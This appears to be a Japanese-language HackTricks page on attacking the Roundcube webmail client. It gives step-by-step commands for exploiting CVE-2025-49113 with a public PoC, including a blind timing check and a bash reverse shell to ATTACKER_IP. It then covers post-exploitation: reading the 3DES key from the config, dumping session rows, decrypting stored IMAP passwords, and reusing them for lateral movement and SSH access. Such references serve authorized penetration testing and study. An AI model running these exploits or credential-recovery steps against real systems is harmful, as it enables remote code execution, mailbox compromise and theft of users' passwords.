Roundcube
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
概要
Roundcube は一般的に HTTP(S) の vhost(例: mail.example.tld)で公開される PHP webmail クライアントです。有用なフィンガープリント:
- HTML ソースはしばしば leaks rcversion(例: window.rcmail && rcmail.env.rcversion)
- コンテナ/VM 環境のデフォルトアプリパス: /var/www/html/roundcube
- 主要設定ファイル: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
影響を受けるバージョン(ベンダー/NVDによる):
- 1.6.x (1.6.11 より前)
- 1.5.x (1.5.10 より前)
問題の要約
- program/actions/settings/upload.php の _from パラメータは検証されておらず、攻撃者が制御するデータの注入を可能にします。Roundcube は後でそのデータを unserialize し、gadget chain の実行や web コンテキストでの remote code execution (post‑auth) につながります。
簡易なエクスプロイト
- 要件: 有効な Roundcube 資格情報と到達可能な UI URL(例: http://mail.target.tld)
- Public PoC はセッション処理、gadget crafting、upload flow を自動化します
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
注意
- 出力は多くの場合ブラインドです。RCE を検証するには sleep N を使用してください
- 生成されたシェルは通常 www-data として実行されます。コンテナ化されたデプロイでは /.dockerenv と 172.17.0.0/16 のネットワークを想定してください
Post‑exploitation: Roundcube セッションから IMAP パスワードを回復
Roundcube は現在のユーザーの IMAP パスワードをセッション(データベース)内に保存しており、config.inc.php に設定されたサーバー側の 3DES キーで暗号化されています。Roundcube ホストのファイルシステムまたは DB にアクセスできれば、平文パスワードを復元して他のメールボックスやサービスにピボットできます(SSH の再利用がよくあります)。
- config から DB DSN と 3DES キーを読み取る
config/config.inc.php には通常次のような内容が含まれます:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- DB に接続して sessions を dump
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
session.vars フィールドは Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ) によって生成された Base64 blob です。Base64‑decoding 後の最初の 8 バイトが IV です。
- パスワードフィールドを特定する
復号された構造内の認証情報を見つける簡単な方法は、まず vars フィールドを Base64‑decode し、シリアライズされたエントリを目視で確認することです:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Roundcube のヘルパーを使用して復号する
Roundcube は同じ rcmail->decrypt() ロジックと設定された des_key を使用する CLI を同梱しています:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- 手動 3DES-CBC 復号(オプション)
- 暗号文フォーマット: Base64( IV(8B) || CT )
- アルゴリズム: 3DES-CBC、鍵長 24B、PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
一般的な場所
- DB テーブル: session (users テーブルはログイン名を ID にマップします)
- 設定パス: /var/www/html/roundcube/config/config.inc.php
運用での利用
- 古い session 行には以前のユーザーの IMAP パスワードが含まれていることが多い。複数エントリを復号して他のメールボックスへ横移動する
- 認証情報の再利用が疑われる場合、回収した認証情報を SSH や他のサービスで試す
参考資料
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks

